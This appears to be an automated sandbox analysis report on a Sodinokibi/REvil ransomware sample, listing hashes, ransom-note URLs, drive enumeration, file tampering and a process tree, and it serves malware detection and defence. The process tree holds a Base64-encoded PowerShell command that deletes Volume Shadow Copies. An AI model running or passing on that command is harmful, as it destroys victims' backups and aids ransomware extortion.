Analysis
-
max time kernel
98s -
max time network
150s -
platform
windows10-ltsc 2021_x64 -
resource
win10ltsc2021-20241023-en -
resource tags
arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system -
submitted
20-11-2024 10:20
Behavioral task
behavioral1
Sample
solara.dll
Resource
win10ltsc2021-20241023-en
General
-
Target
solara.dll
-
Size
164KB
-
MD5
6e3efb83299d800edf1624ecbc0665e7
-
SHA1
0bd22f204c5373f1a22d9a02c59f69f354a2cc0d
-
SHA256
2ca64feaaf5ab6cf96677fbc2bc0e1995b3bc93472d7af884139aa757240e3f6
-
SHA512
dd1675bb15eb8ea2933b25413271117823ad7ff38280e7f552b5201e3a5bef8607a2112df2e24f598449ebfdb570ff9458aba0314ed8819dd4d774ea855e9ad2
-
SSDEEP
3072:FWeI5JXJRGpUhFiWjmfb+HP+rnRfU9ECs5p:FWe29/GuzjmfCHWtUiCs5p
Malware Config
Extracted
C:\Users\c6z6mz-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/F80DBC400B86709C
http://decryptor.top/F80DBC400B86709C
Signatures
-
Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
-
Sodinokibi family
-
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\T: rundll32.exe File opened (read-only) \??\U: rundll32.exe File opened (read-only) \??\X: rundll32.exe File opened (read-only) \??\I: rundll32.exe File opened (read-only) \??\O: rundll32.exe File opened (read-only) \??\Q: rundll32.exe File opened (read-only) \??\R: rundll32.exe File opened (read-only) \??\H: rundll32.exe File opened (read-only) \??\J: rundll32.exe File opened (read-only) \??\K: rundll32.exe File opened (read-only) \??\M: rundll32.exe File opened (read-only) \??\F: rundll32.exe File opened (read-only) \??\A: rundll32.exe File opened (read-only) \??\B: rundll32.exe File opened (read-only) \??\G: rundll32.exe File opened (read-only) \??\P: rundll32.exe File opened (read-only) \??\V: rundll32.exe File opened (read-only) \??\W: rundll32.exe File opened (read-only) \??\Y: rundll32.exe File opened (read-only) \??\Z: rundll32.exe File opened (read-only) \??\E: rundll32.exe File opened (read-only) \??\L: rundll32.exe File opened (read-only) \??\N: rundll32.exe File opened (read-only) \??\S: rundll32.exe File opened (read-only) \??\D: rundll32.exe -
Drops file in Program Files directory 34 IoCs
description ioc Process File created \??\c:\program files\c6z6mz-readme.txt rundll32.exe File opened for modification \??\c:\program files\ConvertSet.wmv rundll32.exe File opened for modification \??\c:\program files\CopySkip.avi rundll32.exe File opened for modification \??\c:\program files\DisableDebug.dotx rundll32.exe File opened for modification \??\c:\program files\OpenStart.xps rundll32.exe File opened for modification \??\c:\program files\CompareLimit.scf rundll32.exe File opened for modification \??\c:\program files\LimitSplit.AAC rundll32.exe File opened for modification \??\c:\program files\CompareShow.ini rundll32.exe File opened for modification \??\c:\program files\RedoApprove.svgz rundll32.exe File opened for modification \??\c:\program files\SaveDebug.asx rundll32.exe File opened for modification \??\c:\program files\CompareBlock.easmx rundll32.exe File opened for modification \??\c:\program files\ConnectUnblock.asx rundll32.exe File opened for modification \??\c:\program files\ConvertWait.xlt rundll32.exe File opened for modification \??\c:\program files\GetInstall.m3u rundll32.exe File opened for modification \??\c:\program files\MeasureComplete.7z rundll32.exe File opened for modification \??\c:\program files\DisableGrant.tif rundll32.exe File opened for modification \??\c:\program files\MergeApprove.tif rundll32.exe File opened for modification \??\c:\program files\RenameBackup.m4v rundll32.exe File opened for modification \??\c:\program files\UndoRemove.mov rundll32.exe File opened for modification \??\c:\program files\UnprotectProtect.m4a rundll32.exe File opened for modification \??\c:\program files\ExportRemove.rm rundll32.exe File opened for modification \??\c:\program files\HideResume.xml rundll32.exe File opened for modification \??\c:\program files\RepairClear.AAC rundll32.exe File opened for modification \??\c:\program files\UnregisterResolve.bmp rundll32.exe File opened for modification \??\c:\program files\ExpandConvertTo.pcx rundll32.exe File opened for modification \??\c:\program files\FormatDeny.aif rundll32.exe File opened for modification \??\c:\program files\OutRequest.mpeg3 rundll32.exe File opened for modification \??\c:\program files\PublishTrace.vstm rundll32.exe File opened for modification \??\c:\program files\WaitPop.dib rundll32.exe File created \??\c:\program files (x86)\c6z6mz-readme.txt rundll32.exe File opened for modification \??\c:\program files\ExpandWatch.cfg rundll32.exe File opened for modification \??\c:\program files\InstallSkip.rm rundll32.exe File opened for modification \??\c:\program files\MergeBlock.docx rundll32.exe File opened for modification \??\c:\program files\PopCompare.asx rundll32.exe -
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 5080 rundll32.exe 5080 rundll32.exe 984 powershell.exe 984 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 984 powershell.exe Token: SeBackupPrivilege 4840 vssvc.exe Token: SeRestorePrivilege 4840 vssvc.exe Token: SeAuditPrivilege 4840 vssvc.exe -
Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 2524 wrote to memory of 5080 2524 rundll32.exe 81 PID 2524 wrote to memory of 5080 2524 rundll32.exe 81 PID 2524 wrote to memory of 5080 2524 rundll32.exe 81 PID 5080 wrote to memory of 984 5080 rundll32.exe 83 PID 5080 wrote to memory of 984 5080 rundll32.exe 83 -
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\solara.dll,#11⤵
- Suspicious use of WriteProcessMemory
PID:2524 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\solara.dll,#12⤵
- Enumerates connected drives
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5080 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:984
-
-
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:2964
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4840
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Public\Desktop\c6z6mz-readme.txt1⤵PID:400
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
6KB
MD5ea53d477d6d1e2e01d1e7d0cdc6b3e6d
SHA1911900ca4a25b78381b1b3baaa6853a8fcb22a20
SHA256160c30eac2291d51267637b678ef8312629bc539ec28f6426ee09ca1d54b3ebc
SHA5127af8bbff0bbac1348737cbeaa6085d904fa5990521991dac89083ab9d6c8cbe7886bdb2ca7b008da3cea8b204eab010eac26308a8b851252a6d5c5833e838797